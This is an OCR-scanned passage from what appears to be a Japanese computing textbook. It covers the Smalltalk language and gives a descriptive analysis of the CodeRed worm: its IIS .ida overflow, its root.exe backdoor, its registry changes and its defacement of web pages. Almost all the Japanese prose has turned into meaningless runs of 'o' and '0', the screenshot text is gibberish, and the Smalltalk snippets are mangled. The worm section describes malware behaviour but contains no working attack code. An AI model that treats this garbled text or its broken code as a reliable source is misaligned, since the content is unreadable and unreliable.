gboboobooobobooooooooboobooboooooooOoobooobooobOooDn
obooooogd
gobooooboogooobooboooboobooooobobooooooobooobooooooooo
oooooboooooooobo s .ODOO00OO0O0DO*ODOO0O0O0ODOOOODODOOOOOOOO
gbobooooooobobooooooboboboooooboobOoboooooobOoboon
gooO0oo0O0000oOO0O00U0OOO00DOOOO0D0D0ODOOOOOUOODODODOOO@EO
go0000oOoOoOoOOoOoOOOOOOOODODOOOOOOOOOOOOO)DODDOOOOOOOOOO0
gbobooobooboooboooooboooooooobooboobooboboooboobooboOooDon



Xll.Li. 00000000000 65

ooboobOoobOooboooobooobooobooobOoobOooooooboobooooooon
gobooboobboobboooobooooooobooboooboooboooooboooooooboooo
ocooooooooooooob *ooobo"0oooooooooooooOooooooD “ooobo”
goboOoobOooboobOoooobOoooooobooobobooboobooboobOoobooon
ooooo

gbooboooboooboboooboobobooooboooobobDobobobobOooo
oooobooboon

goboobooboooobooboooooboooboobooboooboooooobooooon
ooboobooooooboobooboobooboobooooboobooboooooboooooboooon
oobooboooboobbooobooobboobbooboooboooboooooobobooooboooo
0000000000000 O00O00O000O000 (DUooODooUoooOoUooOoooon)
oobooooooooobooobbooboboobbooboobooboobooboOoooobooon
0000000000 (@UUoUooooO0OO0)D0DooOUODODOO0D0D0DOOOUODOOOOO
ooboobooobooboooboobooooooobooobDOo0oobboobboobooDooo
oboobooboobooboooobooboooooooooooobooboobooon
oobooboobOoobooobooobObbOoOobOOobooOoobOobooboOoOoboOobooobooon
oobooboobooooboooooobooboobooobooooooooboobooobobooon
ooboooboobboobbooooooooooooooooooboooooooooooooo
oboobOoooobooobobooboooboooooboobooooboooooooon
oobOoooOoooooboobooobooobooboooooobooboobooooooobooon
goooboooobooooooboog

00o0ooO0o0ooo0CoO0oooU0oO0ooo0oooUUoOoOoOoDOOobOOooDOOobOo0 (oo
ooo0o0oOoOoooooooooooooOoOoOOOOCOCOOCOCOOOOOO)oooooooo
00000000ooOooO(@UUUoOoOODoU0oUUDUO0DOOODOUODOUUObDO)ODOOOOO
goboooooooooobooo Xnioogoooooboooooobooooooobooooo
toboobOoobooooboobooboobooboobooooboobooboobooooon
ooboooboobooboobobooobooboobooobooobooboooboOooobooon
ooooboooboooboooboobooboobbooboboobooobobobooobooboobooon
oooobooooooboooogoo

Xll1.2 000000

gobooboooooboooooboobooooooobooooooooooboooboon
obooobobooobooboooooobooooboboooboobooooobobooboog

gooooooooooooc+H)0ooo0oooooooogogo crosgooooooogodg
O0O0OSmaltakD0 D OOOO0OOOOO0DOO0OOOOOOO0OOOOODOOOOOODOOOOOOOOO
oboooboooobooboooobobooobooboooooboooono

goboobooooboogoboboobobooboobooobooboboobbooboobboboobobooo
ooboobooobooboobooooooboobooboobooboobooDboooo



66 Xl 0000000000 —00 oo

et
T
| RRER
e - -
5
E ' T
= E&J .| mien
g &

- N ("Hﬂﬁz . ] - -
EeLGBRENEETS | BNE BRE
MBI —-mr s —

=
L | -
0 X1 000

gboooboooboboboooboooooobooobboboooobobooboooobooobo0bbODo
goooooooooooboobooboobooboobboOobooobooOOobOoODbOoODo
gboboobooboobbooobooobooboooOooboooooobooooOoooOobooobooDn
gbooboooboooboobooobobooooobooobooobooOoobooboooboonn
gboboobooooboobobobooooooboboboboooboooooDobDobOoboon
000000000000000000000000000000000 SmaltakDo OOO0OO
gbbooobooboooboooooboooobooboobooooooooboooobooooboooDn
oboooobooooboobooooon

gooogoboboobobooooooooobooobboobooobooboobbooboboobobOoD
gboboooobooooobooboobooboobooboooooboobOoobobooDo
gooooOoOoO0OOO0O0O0OoOoOo@EUOoUOooOoOOUO)ooOoOooooooooooooon
booobooooooooooboobOooooboooobOoOobOoobOooboOoobOooobo0ooDn
gooooobooboboobboooboooobooooooooooobbooooboooooboooDbO
gooo



Xll.2. 00000000000 67

Xl.2 00000000000

0000000000000 0000000000000O000O00O0O00O00O SmalltalkO
0000000 smaltalkDDoOCoOoOoOOOOOOOODODDOOO

XIl.2.1 Smalltalk OO

SmalltakD 00 0000000000000 0000000000O0000000OJdavad 000
0000 (HUO0D0D0D0D0D0D0D0D0D0D00O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0ODO000000
boooboooobobooobooboog

ooboobooboooboooboooboobooooOooobOooobooobooooooooOoooOon
00000000000000000000000000000O00000000000 Smalltalk
obooboooobooboobooboobooboobOoobOoobOOoOobOOoOoboOoon
ooboobooboobooobooobOoobOoobOoobOooboobOOoobOOooooOoon
000OCOCOCO0O0O00000000000000000ODODOO0U0O00d Smaltalkd O OO0
0000000000000000000000000 SmalltakD 00 000 SmalltalkD 0O O O
O0o0o0oo0oo0oo0oooooooOoUoOobOU0OoOoUOooO (booooooooo)o
O00OCCO0O0O0O00O0000 smaltakD OO OOOOOO0OO0OO0OOOOOO0O0O0O0O0O0O0OO
goooboboooboobooooobooooobooboobooooboo

O000000000000000000000000000000000000000 Smalltalk
000000000000 0000O00O00O0000OU0OO0OU0DOO0OOoOoooooOg VisualWorks
O00000O00000O000 smaltakD O OOOOOOOOOOOO0OOOOOOOOOODOOO
goooggdbosundJavad 0000 Java OO0 0OOOOO0O0O0OOOOO0DODODOOOOOOO
0000000000000000000000000000000000000D0 Smalltalkd 00O
gbobooboboobooboobobooooobobooooobooboooboobooboboooon
SmalltakD D00 O0OO0O0O0O0O00O0QOO Workspacdl 00 O0O00OOOO0OODO(@MOOOOOO
O0000D0O0O0O0O0OO0)OO0TranscripD 00000000000 OOOOODODODODDO

gobooboobooboboooooboooooao

XIl.2.2 Smalltalk DO OO

SmaltakDO O OOOO0O0O0O0OO0O0O0O0O00O0O0O000OOO XeroxO PARCOOOOOO
00000oo000o0oOo000oDoo0DO000oDoOo000oODoDO00 (ooooDooooooooon
O0000oO0)0oooooooo LspO000O0O0 (COOOOO0OO0ODODODOOO)OOOOOOoOO
O000000O0OSmalltak-720 0000000000000 8000 sSmalltalk-800 000000
00000000000 ObjectWorks! VisualWorksO 000000000 OODOO O VisualWorks
gogboboooboboooboboooobboobbooobbooobbbooobbbooobobog
OOcincomJ 0000000000000 O0OOO0OODOOOOOOOOOO

0000000000000 000O000O00O Disneyd OO Squeakt OO O OOOOOOO



68 Xl 0o0Doooooboog —00 0o

0O Smalltak-800 00000000 Smalltak-800 0 0000000000000 OOOOOOO
000000000 000ooooD Apple0000000ODOOOO0OODODOODOOOOOOO
0000 Smalltalk(Apple Smalltalk-80 0 ) 00 0000000000 OOOOOOOOOOOO
0000000000000 0OO0O0O00UD smaltakOOOOODODOOOOODOOOOOOOO
000000000oO00o0O0U00o000O0o0UOo00o0o0oDoO0oUOo0ooDooUooooo
000 SmalltakD OO0 O0O0000000000O0000000000OO00000 Smalltalk-80
000o0o0oo00oo0o0oOOo00ooO0o0oOo0OoOOoOo0DoOOoUoOooooOOoUooOoooO
00000ooO0ooooooooooo

gooo00o0o000o00oo0o0obOOdDOOoDOooO0ooO0oooO0oDOOo0bOoobOOooDOooooIBM O
VisualAge for Smalltall0 0000000 VisualAgeDO OO OO0 0D0000O000O0O0OOOOO
O000000000Javal DO 0000000000 Javal 0000000000000 0OJava
000000000000 00O00000000 smaltalki OOOD0OODO0OO0O0OOOOOOOOO
ADODO LitleSmalltakD OO0 0000000 OOCADDDOOOOOOOODOOOOOOOO
00Do00DooU0Do0DoOU0o00ooO0O0 (o0oo00ooo0ooooo)oooooooooo
oooooooo

000000 Smaltak0 OO 0OOO0OO0OO0O0OO0O0OO0O0OOOOO?00000000000
00000000000000000 smaltakD DOOOODOOO0OO0OOOODODODOOOOOOOO
ggooboooobooboboobbbooobobbooobbooobooobbooooboobo
0000000000o0o0U0000Ooo0U0Oo0OU0OoO0O0Oo0DUoO0DOoOoOOoUoooooo
000000000000 0000000000000O0nO PerfectTVOOOOOOOO Smalltalk
0000000ooo0oooooooooooDooooDoooswkioooDooooooooo
O000000o0OoO0o00oo000ooOo00ooO0ooOOo00oO0o0DOOOOooOoOOOOo

O00U0O0O0OsSmaltakOOOODOOOOOOOOOOO smaltakOOOOOO0OOOOOOOO
ggooobobooobobooooooboboboooooobobboooao

XIl.2.3 Smalltalk OO OO
Smalltalk OO 0O O

SmalltakD D 0000000000 CO00O0OO0O000O0COO00OOO0O0OO0OODO0O0Od
0000000o0o0o0ooooooo0oo0U0ooooooO (oooooooooo)oooo
gogboooboobooobobooboboooobobooobooboboobobboboobo
gobooobooboooooboooo

Smalltalk 0 0 00O 0O

00000000000oooooooooon Object0ooooooooO:
obooooooooon

'0bo0oog

| aString aCounter |



Xll.2, 00000000000 69

Sl rvh e redsans &
S T

B T wrel e g Falion
Comps e ok el primithas A-'

%

CompozieTyps _ aTenis #
" Compound Type o ""',l :l" Iy
Datum TA XY t_'-- T~
- Dt gmal omPangs .
Erasmiral onTypa
. Espresrmont s
- inieEe Type =
Limited=Te: monFealType & rynroe ™ clarn
Wt e T T 5 1 i e
calid thunk PIr angumd me; argumsms -

“Aravear tha vaiua of invoking the caliback biods. Easoed on Be mcoiver's s, Corman hie panamoie s aesoc aoed wi hunkFir bofon bl
mackalion S sreeer the relum valus. The Blocks parameiers are comiansiin he aroumesnt, arpuments ”

“Eiy et 1o 1o Ol o o @rpumient obgacts o 10 e Ben-Bime @i s ente msmod can be remioved  This @ssumes P avalualon
A the ElockClozune |15 alzo done by the run-bme symiem ”

T S RFLT

argurneniTypes & e biteRelaraniType anoummseni Typec
Farameiers = Amay nes Eroumeni Typees e
15 afgurmient Tygsek 5apa 0 || | aTeyes
aTypo = angumani Types ot
parsmeie o pul [aTyps comenlsFom: aeguments gl siplsdes)
arpinckn = arpines + ol chana Sied
“black el rhAmguments pemmetery

e Eda ew blevidpeon Cies Bvowool pledod  Hede

TAMSWRTMI
| PO T ] _ Ay p—— SR EEE R SR pry e —m———— [

OXln2:oooo

00000000000 0O00000000 smaltakoooooO
ooooo»= 0000000000000 b00O00oooo

aString := 'This is a sample..
aCounter := 0.

000000 0000000000000 O0»=0000000000SmaltalkoooOoOO
oboobooboobooooboobooobooooooobooooooooobooobooon
ooooboooobooboooogo

oooobooooboboooooboooobooboocooboooo

| aString aCounter |

aString := 'This is a sample text..
aCounter := 0.

(1 to: (aString size)) do: [ : index |
(aString at: index) isSeparator ifTrue: [ |



70 Xl 0o0Doooooboog —00 0o

aCounter := aCounter + 1 ]].
“aCounter

0do0d0oo0oo0oo0oDo00oo0U0oo0ooo0oOooooooooDoooOooDooOoon
O00aCounted 0O OO0

00 ()0Do0000D0o000DoO000Do00o0oO0DOoOn astringsiz2l0O0000O000O
Oo0oooogaStingDOOOO0O0D0OOO

0000 Smaltakl D OODODO0OO0DOOO0100000000000O0to:0D00O00OOOODOO
000000000000 asString0 00 00000000000D00000OCO0ODOD100 aString
00000o0o00o0ooooo0ooooooo0o0oodo0000oOoOoOooOoooOOoOoOOOo
d0oodooo0ooooooooOoooo0ooooDo0oDooooooooooOooDnoOoDo
opooood

000ooooooddsSmalltaki 0000 (000000000 DOO0OO)00O000O0OOLisp
Olambddd 00 0000000000000 OO0DOOO0OO0O0OOOOODOOOOOOOSmalltalk-80
0do0d0ooooo0oooU0ooU0ooD0U0ooU0ooOoU0ooo0ooooDoOoooOoUoDoOUODo
Jd0Do00dd00o00doooooooooo0U0Do00oDo0o0oDoOooDoOoO0ooooOoOoo
000000000000 000oooo0o0ooonO (000 VisualWorksD D)oo ooonO
0oo00ooooo0ooooooooooooooog

| aFactorial |

aFactorial := [ in |

(n = 0) ifTrue: [1].

ifFalse: [n * (aFactorial value: (n - 1))]].
“aFactorial value: 10

o000 1000000000000 000D0 vakeJOOODOOOODOOOOOOOOOOOO
ggbooooooooboobooboobooboobooboboobonnobbobbooboon
00000000 |cooooooo

o00oooooooooooooooDooOoDODO0OD aCounte 10000000000OOO
goboboaoboodd

gogogooaoo

gbbooobooooooooboooboobooboobooboobooboobooobooon
OO0OSmaltalkD OOOOOOOOOOOOOOOOOOOOODOOOOOOOOOOOOOOO
goo0oO0o0ooOoO(@UUUoo)b0ooUo0oUUoOoOoD0DOoo0DUooOOOooUOoooooo
oooo?

gboboobooobooooooboooooooooobooboooboobooboobooboon
gboooboooooboooboobooboobooboooobobooboooooobooboonn
gboooboooobooobooobooooobobooboboobooobooobooooooboobboOoDo
ooo



Xll.2. 00000000000 71

go0oO0O0OOOOOOCOOOOOOOOOOO classO 0000000 OOOOOOOOOOO
ooboobobooboboobooobooobooobooooooooooboooobooboobooo
0000000000000 0O000000O0000DO0O0000D smalltalkob OOOoOOOO
goo

O00C0CO0O0O0O00 smaltakdOOOODODOOOOOOCOOOODODOOOOOoOoOooog
ooooboobooo

ooooooo

SmalltakD 00 0000000000000 00000000O0O00000000O0O00000
00000000000 000000 Object000O0O0OO0OO0OOOOOOOOOOOOODOOOO
O00OObjectD 00000 OOODOOODODOOOO Smaltak OOOOOOOOOOOODOO
ooooboboooboobooooboboooobooobooobooboooooo

0000000000000 000000000000CObject0 0000000 Behaviod O OO
00000 Classbescription0 000000000 ClassD 00000 Object0 00000000
ooooboooooo

Xll.2.4 Smalltalk OO OO
oooo

SmaltakD OO O O0O0OO0OOO0OO0OCOOO00OO0OOOOOOCOOOOO0OOOOoOoooDoOOO
ooooboooobooobooboooboooboboobbooooooboobooobooobooobooon
gobooooooboooboooboooooooooooobooobboobooobboobooooo
obooboboooobooobooboooooooooboobooboooooobooboOoooboooon
O0Trued FalseD OO OOOOOO0O0O00O0 ifTfrued ifFalse00000000O0OODODODOOO

ooboooOooooboooobooobobOobooobooobobooooboooooooooobooon
gooobooooobooboooogo

MvC OOOODOO

goooooooooooooooOoUoooooooooooooMOogooovoooooce
OoooboOooooooooeGuIbODooooobooOooooboobooooo

ooobooooooooooooooooboooooboboooooboooooboOoooooooo
oooobooooog

0000000000000 00000OGUIDOO0000000000ND0N0N0ND0nD@OUOoOoOn
oooooo)ooooooo

ooboobOooobOooobOoooOooobOooboooooooooooooobOoOooooooOon
goooboooooboooboobobooobooboooooo



72 Xl 0o0Doooooboog —00 0o

m
Q5 ot Morlomnsicisl WP Pl Rcicamet |- T
" Pie Groess Tods Ghanges Quishass Wedew Hal

=]
;| nAtetracOpersior nxial . done. 4
AurchaF e iremal . dons
Jun3dFuintinstal . done:
Artmam nEksd | ang
AProgram
oot ot Seplember 13, A1 110347 am
A abloFra eV ISR aEe s SEE 164 = 200 T3

EF imem W e

fmlzbieFreoFimdSpaceByies 4 B00 .= 401376, page Edn Greshab Ogsond
y T i_ D|E|H| l|lh|ﬂ #Ilﬂ|ﬂ#|
* mw Page | vaities |
MY oF aF acional | E |
y | shaciona = n
o4 i s Of i Trus: [1]
IFaise: [n™ |aFacton ol v [n- 150
1.:”; -.-:';Lnamﬁ i 'lt'-"-'-hi"ﬂ"llll?
o7 L
| ib“~-l'i'llt
'
=g
ET |
'p.'.l Y
Bkl A PN | b ke JFR SRR S poeear—"m— -

OXl3:o0o00d

gbboobooobooobooobooboobooboobooooboooooooOooooooboon
obooooboobobooboboooobooooboooon

SmalltakD 0 0000000000000 00000000000000000000O0O00O0O
0000000000000 0000O000O0C000000O0000O0O0O0O0D0OoaddDependent:
Oo0O0O0O0OO0O0O0O0OdOOremoveDependenit:0 000000000000 OOOOOOOOO
000000000000 (CODO00000ODO00D00O0OODO0O0ODOODOOO0O0OO0)O changed:
0000000000 (#somethingd 0)0 000000000000 O0OOOOOOO MVCODO
gbooooboooboooboooo

X3 000o00oOoooooooo

gbobooboooobooobooboooobooboooooooooooooooobooooboon
gboooobooboooobooobooobooboooooooo



Xll.3. 0000O000oooogooo 73

g Eda igw Light Capgh g

1 I .l'.i.l i-
CATS A
et faw Ty v
o o P

|

’:
Pl

narveEE R RAL

Axa-bl =n o B ke |5 Wy pe— [T TR | e T SREEEE | & mn

= 3

OXl4:0o0ooo

Xl.l31 00O00O0O0O0oOoooog

oboobooooboooboooboobooboooooooobooboobooooOooobooo
oo0000oO0opooUoOoOoOoU00ooooO(@UUoUooOoDOoUoUoOO)booooooooo
gobobooboboooooobooobooobooobooobooobooobooooooooooooon
bobooboooobobooooboboooboobooooboboooobooocooboOooo

obooboooboooboooobooooboooobooobooboobooooboobooobooo
ooboooooooOoobooboobooobooobobooboobooboobooooboon
gobooboobooooboooboobooobooooooobboobbboobbooboobooo
oboobooboooboooooooboboobobooboobbooooooooboobooon
ooooooooooog?



74 Xl 0o0Doooooboog —00 0o

Xl.3.2 00O

gboooobobooobobooooboooboon
gboobooobooooooboobooboobooboooboooboobooboooboon
gbooooooooooooboobooboobooooooo0oobOoooooboOODbOoODo
gboboobobooboooooooooboooboobooooboooooboobooooobobooDbo
gbobooboooboooooooboooboobOOooooOooOoooobOoobOooboobobooDn
gboooobooobooooboboobooobooboooooboobOoobooobooobboODo
00000000000ooo0oo0o0000000DoooooOo@oOOO0D000oDooooon
00o0ooo0ooo0o0oooO0oOooooOoUoOoOn0 ™) 0OOOoUooOoOoooOoOoOoOooooo
goopooooOo0O0U00ooOoOoOoU0UUooOOOoOooUOOoOoO FPOOOO(@EOUOODOO
0000oo)ooooooo0oU0U0000OO0 (o000 OoOooooOooOoOOoOoooooo
0)00000000000000000000O0O0O00O0O00O0000000000000000
gboooobdobooooobooooboboooboobooooboooooooo
gbooobooboobooobooooobooooooboooboboobboobooboon
goooobooooooooooooobooboobooboobDoobDOoobDboOobobOooDo
0000000000 O0OO0O0o00oOOo00ooOoO0OOStandardMIOOOOOOOOOOOO
gbobooboooooobobobobooooobooboboboboboooooobOobOoboon
LispOOOOOOOO (DDODODO LispU0000oOOQOOOOOOODOODOOO)ODDODODODOOO
gboobooooooboboooobooboboobooooboboboooooooooboobDoDUooo
gboooobooboooooboboobogooo
ooooooooooOoOoOo (ooooo)ooooooooooOoOoOoOoOOn
gboooboooboobooboooboboobobooboooboooboobooooobooboobooooD
goooboooooooooooooooooboooboooobooobbooboobooooo
oo?
gboobooooooobooboobooobooboobboobooboooboooboon
gbobooooboooooobooooboobooooboobooboobooboooboOoboboOooDo
00000000000 @Oo0o0o0ooooooo0)0000000(@Uooooo)yooon
gbobooooooooooooboobooooboboooobooobooooooobooobooboonn
booobooobooooooboooboooboooboooboooboooboooobobooooboooonn
ooo0o0o0oO0o(@U0000oO0O0000000OoL) D0D0oooODOODoDOooDDoDoOoODOO
gboboooboobooboooooobooobooobooboooooboooobooobooobooboonn
gbobooooobooboboooooooboboobooboboboboooboooooboOoboon
oboooo
gooooooooooogooogboooobooooooooooboooooobooobobOoD
gbobooboooobooooboobooobooboooboooobooooboboobOobo
gbooooooooooooooooOooOoobOOooobOoobOoobOooobO0oobOoobO0oonn
00000oooOo0o0oooO0o00ooO0o0oOoOooO00oO0O0o0ooO00 (oboooooo
00000)0D0O00000000000O00000000O00000O00000ODO0000O0O0O0



Xll.3. 0000O000oooogooo 75

oo000ooooO0o0oooO0o00poOoooooooOoOooooooOoUooooooooo (@Eooo
00000) 0000000000000 0O000000D00(@MUODDDOoOoOoDODODOOOO)OO
00000oooooooooooooooooooooobooogoo?2oooooooooog
goboobooboooboobooOoooooboobooboobooboobooboooobooon
gooOoOoOoOO0OOOOO0OOU000000D00D0D0D0D0O0DOD0DODODOOOOO(@EUuOoOOO
00000)00O0O00000000000000000000000000000000000
00000 (Oo0oo0o0oO0o0o0o0OoOoU0oOoUOoO)0Do0DooOO0DOoOOooooooooo
oobooboobOooboobOooboobOoobOooobObOOooobO0oobOOoobOOoooOoon
ooboobooobooobooboobooooobooboobooboobooboobooon
oobooooboooooooboobooboobooboobooobOoobDOoobOooooDooo
obooboobooboobooooooobooboooboobooooboooboobooon
obooobooooboboooobooooboboooooboooobobooooboOoobooon
goboOoobooOoooooooooobooooooboooobobooboobooboooboooboo
gooooboooboboobobooobooobooboooboogbooooobboobboobooDooo
bobooboooboobobooooboooobooooboOobooooboooobOoobooo

XI.3.3 00O

goooooooooooooorRPODOOOJO *OO0O0O0O’0O0O0*0OO0DODOOOO
goo"dbobobooooooooobobooboobobobOobobobooboooooooDoo
obooboooboooobooooboobobooboooboobobooboobooboobooonoog
oboooobooooboobooobboobbooboobooboobooboobooobooboooon
gbooobooooobooboooooboooooboooooboooo
goboooboboobboobooboooooooobooobooooboooboooooooooooo
oooooon
O000OSmaltakDOOOOOODOOOOOOOOOOOOOO0O0O00OO “Smalltalk0OO
ord
goooooo“coboonoooboobooboooooboooboobbo"oooooboogo
boboobooboobooboooobooooooboooon
O000000000o0oooooOOO0OODOO0OU0U0OUO (EiffelC0)000O B.OO0OO
o“0bbooboobobo"oboboboobobobooooboboboboboboooboooo
Oooo0oD “00o0oobooooobooocgoooro
Objective-CO O 0O OPJOOOCOO “O0O0CCOOO00OO0DOCOOOOOTOOOODOCOO
gooicooogooooooooooooooooooobooooooboOooog
ooboobooooboooooboobooo



76

Xl CodeRed/NimdaO 0O OO >OdnO

002300881 000000 200 00 OO

Xl O0odd

gboooboobooobooboobooooboobooboobooboooboobooboobooboon
gbobooboooboooboooboooboboooooooooooOooooboobo0ooboobOoonn
gboooboobboboobooooobooooobooooooboooboooboboboobooOobbooDo
gooooboooboooooooooooooobooobooboobooboooboDoobDOooDo
000o0o00o0oO0ooOoOooooooOoOoz200100O0O0O0O0OOOOOOOOOOOOOOO/NOO
00000000000 DO0O0O00O00OCodeRedI OO NimdaDOOOOOODODODDDOOO
000000 CodeRed 000000000 OODDODODODODODOOOOODODODODODOOO Nimda
gbooboobooobooboboooboobooooboooon

Xll.2 CodeRed 0O OO

0 CodeRed 0D 20010 50000 PepsiD DD DO DDD DD DD DD O Mountain Dewd 10
0000000000000 00000000000 700 ekye Digital SecuriyaO0O0oooOdd
0O 00 http:/iwww.eeye.coml D00 00000 100Marc Maiffret0 0000000000000
0000000000 0000000200000000ooUoooooooo

0000000 Microsoftd O WebO OO O OO Internet Information Server O O Internet Infor-
mation Services IS 0000 0000000%WO00000000000O0

l0D0D000D000000000 19580 000000000000000000000000000000000
0000000000 0O000001994950000000000000000 2000000000000000

0000000000000 0000000000000000N0N0D0DN0000N0DN00N000N00oNoooon
oooooOoOoO0oO0OO0OO0OO0O0OOoOoOoOOO0O0OO0O0O0O0O00O0O0CODOOOOOO0O0O0O0O000O0OOOOOOO0000O0
ooooooooobooboooooooooobooooooooobooobooo

0000000000000 000000N00N0N0N000N0NNDOO0DO0DNO0DO00DN00NoO00ooooad
ooooooooooooooooboooO0o0oooooooooOobOOOOCOOOO0O000OOooooooooooooo
gpoooooooobobooooooooobboooooo



XN.3. CodeRed OO ODOODO NSOOOOOOOOOOOOOO 77

Xlll.3 CodeRedI O ODOOOONSOOOODOODOOODODOODO

IS O O O Microsoft O O O O O O Internet Information Servér D D OO0 000000000
00000000000 Windows200 OO OOOOOOOO Indexing Servicel D OOOODO0O
gdoodoonsooodddooooooooooooooooogog IsAPIDOOOoOooOO
000000 100idgdiD00000dgdIiD NISOCO0000000 10000000000
O.dadOOO0O0O Internet Data Querigs.idqU O 000000000 idg.diiD URLOOOOOO
doobbododdododoboobodooooboobo0oDoObO Do oooooooooOoa
0000000o00o0o0o0O0oDo0OoDoO0o000 dgdlDOO0OODO0OO0OoOD NsSsOooOon
OWebOOOOOODODOOOOODODODODOOOOOOOODODODOOOOOO URLOODOOODOO
0o0d000doDOo0dbOoooonsoooobo0bDooooo0ooDbOo0obDoboOoooooooa
doooobbodddodooooobOoooo0oooob0UooobObO b0 b0 ooOooooboooOoa
httpO OO (80) DD 000000000 DOOO0OOODOO0OOOOOO0ODODOOO

Xll.4 CodeRedD O OO

coonsoooooooooooooooooobooooooo0oooobOooooDoobooog
O00000D00O0O0O0O0O0O0O 20010000000000000000OCodeRed DO M OO0
00 CodeRedd DO OOOOCodeRedl 0 200000000000 OOODOOOOOODOOO
ooooboooooooo

CodeRed 20010 70 1600000000000 OCodeRed VIl CodeRed V2 I-Worm.Bady[
goooooooon

CodeRed!ll 00 CodeReddOOO0ODO 20010 80 40000000 0O0OOODOCodeRed V8
CodeRed D0 DO0O0DOODOOOCODO CodeRedlDDOODOOODOOODOO

XI.5 CodeRed OO OOO

CodeRedd DO DO O0OO0ODDODOOODODODODDDODOOOOODOOODOOOOHTTPOODODOO
O00o00o0ooooo dHTTPOOOOOOOOOOOOOO0OODOOODOOOOOOO0OOOOOO
gooo0ooooooooboooooooooooooooooooobooooooooooon
00 00 CodeRed] O

e JOOOOOOO

e WebODODODOOO

e JOOODOOODOO DoSOO

e OO OOOOOOO

gbogbooboboobooboboboboobooobon



78 Xl CodeRed/Nimda OO O OO0 —O0O OO

Xl.5.1 CodeRedDDO0OD0OOOODOOO

CodeRed D DO OOO0OOODODOOODOO cmd.exed DOrootexed DO OO OOOOOCO D
goooao

O ¥inetpubY =scriptsY =

O ¥Program FilesY =Common FilesY=System¥Msadc¥
000D0000o0ODO0O0OO0O000O0O0O0OODUODOOOOODOOOO0OOOD root.exél cmd.exél
0000000000000 0000000000000000000000000%0000
0000000000000 00000 cCODUOOO0OOO0OU0ODDOOOOexplorerexel 0000
0000000000000 DOOooOOooDOoooOooOOobOO0oOo0o0OO0ODbDOooObOODbOoDOOoDOd
O0OCodeRed D D000 OCODOOOOODOODOOOOODOODOTROJCODERED.CI OO
000000000000 explorerexel 000000000000 DOODOOO0OO0OOOOOOO
gbdoooooboobboooooooooboooooboooooooooooooonooo
00 Explorerexe] 0000000000 Explorerexée1 DO OO0 OOOOODODOOO explorer.exél
goooooooboboooobooob0boooobobooooboooooboooooo
gdoooooooobooodgo

gooobbobboooobobbbbooooouoboboobon
HKEYLOCALMACHINEBSOFTWARRYicrosoftY =WindowsNT¥CurrentVersionY =
Winlogon

000 SFCDisable] 00 OXFFFFFFODOD OO0 OO0 OO0O0O0O WindowsO OO OO OO QOO
000000000 SFR 0000000000000 0O00O0O0O0ODOO00DbOODOoOoOoOooOooDg
000000 SFPODOODOODOODOOO0ODOODOODOOO0O0O0O0OO0O0000DOODOODOOO0OOnOOg
gddboobooboobodoboooboooboob oo ooboobuoboooooo
gooooodgoad

HKEYLOCALMACHINEBYSTEM urrentControlSetY  =ServicesY =W3SVEParameters
¥Virtual RootsY =scripts

HKEYLOCALMACHINE®YSTEM urrentControlSetY  =ServicesY =W3SVERarameters
¥Virtual RootsY =msadc

00000oo0o o ,2700000000000000scripts msaddd OO0 OO 0O O ORead/
Write/Execut@l 0000000000000 O0OSscriptsd msaddd 00000000 OO root.exel
gobooooooooobuoooobobuobgt rootexelJUOOODODODODODOOOOOOO
goodbobbobboboobobooboobooboobouboobobooboo
goodooboooooboboooooooboooobobboooobOboooooDbobooooo
gooooood

J0d0ooooOo0oocODODOoO00ooooooooooooooOoon
HKEYLOCALMACHINEBYSTEM urrentControlSetY  =ServicesY =W3SVERarameters

40000000 0rootd Administratord 000000000000 00000000000000000000000
ooooboooooo0ooOo0obooOoOoO0boOoO0oO0bOOoO0oO0OO0o0OO0OO0OO0O0OOO00OOO00COO00COO00B0O00
oooooooooooooooooboooooOoOoboOobOOoOoOoOoooooooOobOOOOObObOOODbODUOOOOooooooo
ooooooooooobo



XN.5. CodeRedd OO O OO 79

¥Virtual RootsY =c

HKEYLOCALMACHINESBYSTEMYEurrentControlSetY  =ServicesY =W3SVEFarameters
¥Virtual RootsY =d

0000000000000 000000c3,21740d¥,217000 000000000000
0000000000000 00000000000000000000000D0000 WebO
0000000000000 00000Dooo0o00oDoDOO0scripts msaddd 00000000
doooooooboooooooooooooooobo b0 oooooobooa
Jo0ddooooOoO0o000doobobOoO00d0oooooDoO 10000000 ooooooog
gddbooouooooouobooouobuoouobooooa

Xl.5.2 CodeRedODO0OOOWebOODOOODO

CodeRed ID 0O 000000 ODOCOODOOOOOOOOOOOCOODOOOOODOCodeRed] O
ooOoooz20010 90 30000 OO0oO0OoOoOOoOoOoOOO0O0OoOoDOOoOoO0OoooobooOoo
000000000000 IPO httpOOO (80)DDODOOODODODODODOODDOOOOOOODOOO
Oo0ooo0o0ooooooooDObO0o0oboboOooboO 3sKoobooooooooooooooo
oobOooboooboooooobooooooooooobooboooooboooobooobooon
oobooboooboboooboobooboooobobobooboooobooooobobooboooon
000000000000000000 CodeRedIDOOODODODDOOOODOOODOOOOODOO
O0000000C00OOCodeRed DO O OOOOOOOOOOODOOOOOO

ooo0ooooooooo0ooooooboo0ooooooooboooooooDobobDOoD 10
gloooooooooooooooooogoooo PODODOOOO0ODOOOOODOOOOO
0000000CodeRedl 00D DODDODOODOOOODODODODODDOODODOODOOOOD CodeRed
NooooooooooooobOooooooooOoOobObooO0o0oooooooooDoOoObObOOoOoOogo
OO000D0D0O000D0D00O0210.220.xxxxxx0 000

e J0ODDOOOODODODO ****12.5%
e Class BO 0 OO0 210.220.*.* 37.5%
e ClassAD OO OO 210.***50%

O0000CodeRed D00 OO0 OODODOOODOOOOOOOODOOOIPOOODOOOOO
gooobbbooooobbbbuoooon

0000000000000 00000000000000000 WebODOODOODOOO
O00O000O00O0O000CO0DbO0obOO0 20000000 OoOoOdTTPOOODOODOODOO
00000000000 WebODOOOOODODOOOOODODOHTMLOOODOOOOOOOOO
00000 HWHTMLOOOOOOODODODOOWelcome to http://www.worm.com/ ! Hacked By Chinese!
oooooO0o oooboobogooobooboooobooooboobDoboooooboboooo
O0000000000000OCodeRed D WebODOOOOOOOOODODOO

00 200027000000000000000 WebDO O OO www.whitehouse.gav IP 0O
000 198.137.240.910 httpO OO (8O) DO ODDOOUODDOOODOOOOOOODOSOOOO



80 Xl CodeRed/Nimda OO O OO0 —O0O OO

oooooooo pPOO0O0O0OOOOOODOOIPOOOODDOOOOOOOOODDOO 28
gbooooooooooon

XI1.5.3 CodeRedO OO OOOO

0000000000000 00O00O000O000O00DO00000CodeRed OO OOOO
gboooog

2422 % *** . [20/Jul/2001:15:04:06 +0900] "GET
